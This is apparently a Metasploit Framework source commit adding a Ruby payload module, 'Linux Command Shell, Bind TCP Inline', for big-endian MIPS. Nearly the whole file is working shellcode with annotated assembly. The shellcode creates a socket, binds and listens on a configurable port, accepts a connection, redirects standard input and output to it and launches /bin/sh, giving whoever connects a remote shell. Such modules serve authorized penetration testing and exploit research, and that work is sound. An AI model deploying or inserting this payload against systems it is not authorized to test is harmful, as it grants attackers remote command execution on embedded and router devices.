Add mips be shell_bind_tcp payload
jvazquez-r7
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21b146fab3
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a0879b39e0
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Bind TCP Inline',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' =>
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[
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'scut', # Original mips-irix-portshell shellcode
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'vaicebine', # Original shellcode mod
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'Vlatko Kosturjak', # Metasploit module (mipsle)
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'juan vazquez' # mipsbe conversion plus small fixes and optimizations
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' => {} ,
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'Payload' => ''
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})
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)
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end
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def generate
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if !datastore['LPORT']
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return super
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end
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port = Integer(datastore['LPORT'])
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port = [port].pack("n").unpack("cc");
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shellcode =
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
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"\x27\xbd\xff\xe0" + # addiu sp,sp,-32
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"\x24\x0e\xff\xfd" + # li t6,-3
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"\x01\xc0\x20\x27" + # nor a0,t6,zero
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"\x01\xc0\x28\x27" + # nor a1,t6,zero
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"\x28\x06\xff\xff" + # slti a2,zero,-1
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"\x24\x02\x10\x57" + # li v0,4183 ( __NR_socket )
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"\x01\x01\x01\x0c" + # syscall
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# bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
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"\x30\x50\xff\xff" + # andi s0,v0,0xffff
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"\x24\x0e\xff\xef" + # li t6,-17 ; t6: 0xffffffef
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"\x01\xc0\x70\x27" + # nor t6,t6,zero ; t6: 0x10 (16)
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"\x24\x0d\xff\xfd" + # li t5,-3 ; t5: -3
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"\x01\xa0\x68\x27" + # nor t5,t5,zero ; t5: 0x2
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"\x01\xcd\x68\x04" + # sllv t5,t5,t6 ; t5: 0x00020000
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"\x24\x0e" + port.pack("C2") + # li t6,0xFFFF (port) ; t6: 0x115c (4444 (default LPORT))
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"\x01\xae\x68\x25" + # or t5,t5,t6 ; t5: 0x0002115c
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"\xaf\xad\xff\xe0" + # sw t5,-32(sp)
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"\xaf\xa0\xff\xe4" + # sw zero,-28(sp)
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"\xaf\xa0\xff\xe8" + # sw zero,-24(sp)
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"\xaf\xa0\xff\xec" + # sw zero,-20(sp)
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"\x02\x10\x20\x25" + # or a0,s0,s0
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"\x24\x0e\xff\xef" + # li t6,-17
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"\x01\xc0\x30\x27" + # nor a2,t6,zero
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"\x23\xa5\xff\xe0" + # addi a1,sp,-32
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"\x24\x02\x10\x49" + # li v0,4169 ( __NR_bind )A
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"\x01\x01\x01\x0c" + # syscall
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# listen(3, 257) = 0
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"\x02\x10\x20\x25" + # or a0,s0,s0
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"\x24\x05\x01\x01" + # li a1,257
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"\x24\x02\x10\x4e" + # li v0,4174 ( __NR_listen )
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"\x01\x01\x01\x0c" + # syscall
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# accept(3, 0, NULL) = 4
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"\x02\x10\x20\x25" + # or a0,s0,s0
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"\x28\x05\xff\xff" + # slti a1,zero,-1
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"\x28\x06\xff\xff" + # slti a2,zero,-1
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"\x24\x02\x10\x48" + # li v0,4168 ( __NR_accept )
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"\x01\x01\x01\x0c" + # syscall
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# dup2(4, 2) = 2
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# dup2(4, 1) = 1
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# dup2(4, 0) = 0
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"\xaf\xa2\xff\xff" + # sw v0,-1(sp) # socket
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"\x24\x11\xff\xfd" + # li s1,-3
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"\x02\x20\x88\x27" + # nor s1,s1,zero
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"\x8f\xa4\xff\xff" + # lw a0,-1(sp)
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"\x02\x20\x28\x21" + # move a1,s1 # dup2_loop
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"\x24\x02\x0f\xdf" + # li v0,4063 ( __NR_dup2 )
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x24\x10\xff\xff" + # li s0,-1
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"\x22\x31\xff\xff" + # addi s1,s1,-1
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"\x16\x30\xff\xfa" + # bne s1,s0 <dup2_loop>
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# execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
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"\x28\x06\xff\xff" + # slti a2,zero,-1
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"\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//"
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"\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi"
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"\xaf\xaf\xff\xec" + # sw t7,-20(sp)
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"\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/"
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"\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh"
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"\xaf\xae\xff\xf0" + # sw t6,-16(sp)
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"\xaf\xa0\xff\xf4" + # sw zero,-12(sp)
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"\x27\xa4\xff\xec" + # addiu a0,sp,-20
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"\xaf\xa4\xff\xf8" + # sw a0,-8(sp)
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"\xaf\xa0\xff\xfc" + # sw zero,-4(sp)
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"\x27\xa5\xff\xf8" + # addiu a1,sp,-8
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"\x24\x02\x0f\xab" + # li v0,4011 ( __NR_execve )
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"\x01\x01\x01\x0c" # syscall 0x40404
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return super + shellcode
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end
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end
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